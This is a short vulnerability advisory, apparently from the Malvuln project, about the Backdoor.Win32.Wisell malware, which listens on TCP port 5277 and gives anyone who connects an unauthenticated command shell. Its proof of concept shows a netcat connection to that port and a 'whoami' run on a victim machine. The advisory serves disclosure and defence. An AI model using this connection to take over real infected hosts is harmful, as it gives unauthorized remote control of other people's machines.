Backdoor.Win32.Wisell / Unauthenticated Remote Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/837ec70bfb305b5c862ff9b04e70a318.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wisell
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5277. Third-party adversaries
who can reach an infected host can run any OS commands.
Family: Wisell
Type: PE32
MD5: 837ec70bfb305b5c862ff9b04e70a318
Vuln ID: MVID-2022-0536
Disclosure: 04/06/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 5277
WinShell v1.0 - '!' to quit, 'enter' to shell...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

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